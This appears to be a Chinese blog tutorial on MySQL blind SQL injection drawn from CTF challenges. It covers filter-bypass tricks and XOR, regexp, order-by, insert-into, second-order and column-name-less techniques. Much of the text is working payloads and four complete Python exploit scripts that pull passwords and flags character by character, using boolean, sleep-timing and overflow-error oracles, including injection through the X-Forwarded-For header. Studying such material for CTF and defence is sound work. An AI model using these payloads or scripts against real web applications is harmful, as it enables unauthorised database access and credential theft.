SQL盲注的多种姿势

SQL注入小tricks

  • or的两边可以没空格,可以是’)(
  • %09(制表符),%0a(换行符)有时候可绕过空格过滤
  • union select被过滤,可以用union%0bselect
  • regexprlike相同
  • select * from users where name='John'select * from users where name in('John')相同enter description here
  • like可以替换=
  • limit offset可以替换limit ?,?limit m offset nequals to 从第n+1行开始取m行enter description here
  • <>equals to !=
  • join注入,payload:1' union select * from (select 1) a join (select 2) b %23enter description here
  • if(condition,do1,do2)equals toselect case when condition then do1 else do2 end
  • ...union select+1,2,3,4
  • union select@a:=1,2,3,4enter description here
  • between..and..代替比较符,如果截取函数被过滤,可以直接用between..and..逐位比较得到结果,如果引号被过滤,就用16进制。https://www.anquanke.com/post/id/158674
  • binary表示区分大小写enter description here
  • information_schema.??被过滤?try information_schema/**/.?? or information_schema./**/??
  • select distinct(Db) from mysql.db;select distinct(database_name) from mysql.innodb_index_stats;//mysql>5.6select distinct(database_name) from mysql.innodb_table_stats;//mysql>5.6
  • 实在什么都不知道的情况下,可以猜。

只知道表名不知道列名的情况

之前做安恒十月月赛就遇到了这种情况,这是个盲注题,题目告诉了有个flag表,但是不知道列名。接下来我们看看怎么处理这种情况。
如果直接select*,列名还是原来的列名,无法selectenter description here这时候可以用这种姿势:enter description here可以看到,这时候列名已经变成了1,2,3,再加上limit语句,就可以实现很精确地查询某一条信息。

SQL盲注的多种姿势

对于无回显的SQL盲注,基本的有时间盲注和布尔盲注两大方面,但其实这两样又可以有很多种姿势

XOR盲注

XOR也就是异或,异或符号在MySQL中是^,它可以起到一个逻辑判断的作用,我们知道0^1=1,0^0=0,因此可以通过不同的布尔值形成盲注。
给一道题目,http://123.206.31.85:49167/ enter description hereenter description here可以看出来,我们应该是要注出admin用户的密码,fuzz一下enter description here再结合手工fuzz,发现or, ,%09,%0a,/**/也被过滤了,过滤了and和or,没有过滤^,那就可以尝试一下XOR注入。information_schema也被过滤了,那很可能要猜解的字段就在当前表,直接猜测是password。可以用这种payload来注出database():admin'^(ascii(mid((database())from(1)))>66)%23enter description here
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url="http://123.206.31.85:49167/index.php"
proxies={"http":"http://127.0.0.1:8080"}
pwd=''
order=1
headers={"Host": "123.206.31.85:49167",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://123.206.31.85:49167/index.php",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "66",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"}

while True:
for num in xrange(32,127):
r=requests.post(url=url,
data='''username=admin'^(ascii(mid((password)from(%s)))>%s)'''%(order,num)+'''%'''+'''23&password=asda''',
proxies=proxies,headers=headers)
if 'password error!' in r.content:
pwd+=chr(num)
order+=1
print pwd
break

注出password为一串md5,拿去解密然后登录即可getflag。enter description hereenter description here解法2:结合regexp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#encoding:utf-8

import requests

url='http://123.206.31.85:49167/index.php'
proxies={'http':'http://127.0.0.1:8080'}
headers={'Host': '123.206.31.85:49167',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://123.206.31.85:49167/index.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '65',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'}

payload=''

while True:
for i in range(48,58)+range(97,123):
r=requests.post(url=url,proxies=proxies,headers=headers,timeout=5,
data='''username=admin'^((password)regexp('%s$'))#&password='''%(chr(i)+payload))
if 'does not exist!' in r.content:
payload=chr(i)+payload
print payload
break

使用场景:过滤了and、or、逗号、空格

regexp/rlike盲注

regexp是MySQL中一个用以正则判断的函数,用法如select (select...) regexp('^...$')
such as:enter description here会返回一个值表示是否匹配给定的正则表达式,^$分别表示字符串的开始符和结束符,在注入的时候,如果没有过滤^,我们可以配合mid((select...)from(%s))来逐个字符猜解,如果过滤了^,但没有过滤$,就要用mid((select...)from(%s)for(1))的格式,这时候不能省略forenter description here从一道题目来练习,http://ctf5.shiyanbar.com/web/earnest/index.php 首先可以fuzz一下,发现过滤了不少东西enter description here再来看一下功能,输入1,提示’you are in’enter description here输入0提示’you are not in’,但是输入1'--0'or'1都是返回’you are not in’,说明后端可能对某些关键词进行了处理,这里用大小写可以绕过,比如0'Or'1会返回’you are in’,再测试了一下,发现双写(oorr)也可以绕过。对于注释符--,猜测后台把它替换为空,但既无法双写绕过也无法大小写绕过,所以这题无法使用注释符,只能用引号闭合。题目禁了substr,可以用mid代替,禁了,,可以用midfrom()for()结构来代替,禁用了^,无法用XOR注入,这里可以用regexp注入,题目还禁用了空格,可以用制表符绕过。综上,我们可以构造这样的payload:0'Or(select(ascii((mid((select database())from(%s)fOr(1))regexp('%s$')))))Or'0,然后逐步注入进去,如果有空格的地方就用%09代替。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url='http://ctf5.shiyanbar.com/web/earnest/index.php'
proxies={"http":"http://127.0.0.1:8080"}
headers={"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://ctf5.shiyanbar.com/web/earnest/index.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '149',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'}
order=1
result=''

while True:
for i in range(32,127):
payload='''zxc'Or(select(ascii(mid((select fL$4G from fiag)from(%s)foorr(1)))regexp('%s$')))Or'0'''%(order,i)
payload=payload.replace(' ',r'''%09''')
print payload
r=requests.post(url=url,headers=headers,proxies=proxies,
data='''id='''+payload)
if 'You are in' in r.content:
result+=chr(i)
order+=1
print result
break
# (select(ascii((mid((select database())from(%s)foorr(1))regexp('%s$')))))

enter description here使用场景:过滤了=、in、like

order by 盲注

基本原理:order by是选取一列作为排序的标准,默认是升序,基本原理如下图enter description here通过逐位遍历union select的某个参数,根据页面回显不同即可得到正确的结果。

insert into 注入

平时见得最多的注入都是基于select,如果要注入的是select语句,又该怎么处理呢?直接看一道题目,来自bugkuCTF,给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

,为分格符,换言之就是过滤了,,然后insert进表里,这题很明显没有回显,要盲注,过滤了逗号,对于mid,可以用mid((select..)from..for..),对于if,可以用select case when .. then 1 else 2 end。接下来的问题就是要怎么把语句放进去,直接放是不行的enter description here由于引号的存在,会把语句当成字符串。这里要先用闭合引号,然后用+号连接语句,最后再把右括号补上。构造payload如下:X-Forwarded-For:'+(select case when 1 then sleep(3) else 0 end)+')这样出来的SQL语句是这样的enter description here可以成功sleep。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#encoding:utf-8
import requests,time

url='http://120.24.86.145:8002/web15/'
proxies={"http":"http://127.0.0.1:8080"}
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'}

order=1
result=''

while True:
for i in range(97,123)+range(48,58):
t1=time.time()
# headers['X-Forwarded-For']=''''+(select case when ascii(mid((select group_concat(schema_name) from information_schema.schemata)from(%s)for(1)))=%s then sleep(1.5) else 0 end))#'''%(order,i)
# headers['X-Forwarded-For']=''''+(select case when ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='web15')from(%s)for(1)))=%s then sleep(1.5) else 0 end))#'''%(order,i)
# headers['X-Forwarded-For']=''''+(select case when ascii(mid((select group_concat(column_name) from information_schema.columns where table_name="flag")from(%s)for(1)))=%s then sleep(1.5) else 0 end))#'''%(order,i)
headers['X-Forwarded-For']=''''+(select case when ascii(mid((select flag from `flag`)from(%s)for(1)))=%s then sleep(1.5) else 0 end))#'''%(order,i)
r=requests.get(url=url,proxies=proxies,headers=headers)
t2=time.time()
if t2-t1>=1.5:
result+=chr(i)
print result
order+=1
break

enter description here

二次注入

打了下2018 高校网络信息安全管理运维挑战赛,觉得这道是我做出来的里面唯一有意思的了。题目有注册、登录、登出功能,注册个账号然后登录之后有提示flag在数据库中,而且是flag表flag列。enter description here然后有个final exam功能enter description here做对题会有分enter description here后面发现,如果注册的用户名使得mysql报错的话,做对题也是零分,于是要想办法把判断语句和导致mysql报错联系到一起,这里用到的payload是comrade'or (ascii(mid((select flag from flag),1,1))=?)*999*pow(999,102)#原理就是利用double的溢出enter description here另外还可以这样enter description hereexp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#encoding:utf-8
import requests
__author__='C0mRaDe'

register_url='http://210.32.4.20/register.php'
login_url='http://210.32.4.20/login.php'
answer_url='http://210.32.4.20/answer.php'
logout_url='http://210.32.4.20/logout.php'
proxies={'http':'http://127.0.0.1:8080'}
headers={'Host': '210.32.4.20',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '24',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'}
result=''
order=1
ses=requests.Session()

while True:
for i in range(32,127):
payload='''C0mRaDeIISIISIIS'or (ascii(mid((select flag from flag),%s,1))=%s)*999*pow(999,102)#"'''% (order, i)
try:
ses.post(url=register_url,data={'username':payload,'password':'1'},proxies=proxies,timeout=5,headers=headers)
ses.post(url=login_url,data={'username':payload,'password':'1'},timeout=5,headers=headers,proxies=proxies)
r=ses.post(url=answer_url,data=r'''10.c=on''',timeout=5,proxies=proxies,headers=headers)
ses.cookies.clear()
if 'Your grades is 0' in r.content:
result+=chr(i)
print result
order+=1
break
except Exception as e:
print e

enter description here

不知道列名的注入

来看一个示例enter description here可以看到,这么一操作,查询到的表的列名就变成了1到6的数字,然后可以进行进一步查询,比如查询第4列enter description here而对于不能使用逗号的情况,可以这么来

1
select d from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t join (select 4 `d`)z join (select 5 `e`)x join (select 6 `f`)ss where 0 union select * from students)x;

Referer

https://www.anquanke.com/post/id/160584#h2-7
http://wonderkun.cc/index.html/?p=442
https://xz.aliyun.com/t/4105